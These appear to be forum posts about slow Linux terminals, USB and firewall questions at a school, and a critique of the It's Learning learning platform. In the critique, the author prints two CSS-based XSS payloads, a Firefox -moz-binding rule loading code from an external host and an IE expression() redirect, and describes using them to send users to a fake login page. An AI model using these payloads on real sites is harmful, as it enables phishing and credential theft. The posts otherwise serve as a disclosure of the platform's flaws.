ysangkok

I have encountered the problem with a terminal that starts too slow myself. It is often because Ubuntu and other distros have bash-completion enabled by default. It takes some resources. If you want it to be quicker I suggest one of these methods: Changing to a simpler shell, i.e. /bin/sh. You can change the shell by editing the last field in /etc/passwd, or by executing "chsh". Uninstalling the bash-completion package, however I am not sure if this disables all the resource hungry stuff Sometimes it works if you press Control-C at bash startup. The scripts that are running will be terminated and you should get a prompt. Edit .bashrc and the other scripts to disable stuff. You say that applications are running at full speed when they are launched. Have you tried benchmarking your harddrive? Also, if you do a "find /" I imageine that it would halt before finding the files on the slow FS. That seems like a logical way to find out if it is a FS related problem.

if you made swf files only executable from user folders and not pen drives, they could just copy the files over from the pen drive to the user folder. i see the simplest solution in just preventing the machines from automounting usb keys. furthermore, if you try accessing the drives over the network the pupils can just use read-only mediums so you cant delete their stuff. and they could also just plug the ethernet cable out before starting the game.

Ubuntu includes a firewall per default. See the ubuntufirewall entry on ubuntu wiki.

You could try strace'ing the apps that slow down when reading from filesystem. You can look in the strace logs to see what file they are trying to access. But it does not look as if the problem is FS related IMHO.

Okay I'm sorry for calling it crap. Here are however some of the problems i face with It's Learning (ITSL): Security holes, like this one: XSS hole. It is a security hole that you can post a link to a site which executes the code you ask it to execute. This is called an XSS hole. My school is a unification of all kinds of schools, but driven by the same entity. So even if my school only has 300 students I can still contact the other 2700 other students. ITSL even provides me with a list of names. It is also possible to send messages to all these users. Here is the user list which anyone who can log in to my school have access too: user list. I see this as a security/privacy issue. I can see the list even if I'm not an administrator! The Java upload does not work with files over ~30 MB. This has been a problem for a very long time. Files over 200 MB can not be uploaded, for no apparent reason. You can redirect Firefox 2 users with an exploit which has not been fixed yet. This is also a XSS hole. Here is the code: BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}I see this as a bug in ITSL, because they should encode and protect users from redirecting. For example I could post a forum post on ITSL where this code is included. I could then redirect people to a false login page and steal their credentials. I have tried it and I know it works. Another exploit which works on IE6 and IE7 is li {list-style-image: expression(top.document.location=unescape('<insert_evil_url>'))}</pre><ul>XS You often get the generic server ASP.NET error, for no apparent reason. Error handling on ITSL is poor in general, but it is very frustrating when it comes up randomly. Errors are very easily triggered, and the reason for the error is not explained. For example, lets call this script without parameters: http://www.itslearning.com/rss.aspx. On other corporate professional websites you would expect some kind of error page which would explain what the user should do and that the error has been reported. However on ITSL you just get a generic error page which Microsoft provided. Layout is based on frames which are known to be a evil remnant of the 90's in web design. A page with frames does not scale very well, and it is difficult to change the contents of another frame. However, this is needed all the time, so ITSL will reload the whole frame container and the frames inside. But ITSL has to remember the course you were visiting, so this information is stored in sessions. This make the URL's short, but not uniform. This is against the whole purpose of URL's. They are supposed to be "Uniform resource locators". However, on ITSL you cannot provide a link to a page deep inside ITSL. If users are not logged in they will be redirected to the login page and when they are logged in they will not be forwarded. So they have to copy the link again and try visiting again. However this will probably not work either, because they have copied the URL of the frame container, and the receiver will therefore get a generic page instead. This could be a URL like "https://www.itslearning.com/main.aspx?StartUrl=main/mainmenu.aspx". It does not describe what page the user has navigated to inside the frames. Old fashioned UI. For example when copying a couple of files on must first select them on a list. Then choose copy from a SELECT-box at the bottom of the page (no, i don't know how they could possibly choose a selectbox for that). The page reloads. Now they must choose the course to copy to in a new selectbox that has appeared. The page reloads again. Now the user must choose a directory in the course he wants to copy the files to. A button has appeared which says "OK" and the user must click that button. Now the files have been copied... I think this procedure speaks for itself; it is much too complicated.

Of course it is easier for an educational institution to get the VLE hosted by somebody else. But by choosing a VLE like It's Learning (closed source/hosted) you have no choice of hosting provider. You cannot continue to use the same VLE on another provider; you are locked-in. You will be forced to use the same product even when they raise prices. It is too risky to put all your money in one basket. Furthermore, It's Learning is crap IMHO. Usability is terrible. I have to work with it every day, and I'm confident that there's a better choice out there.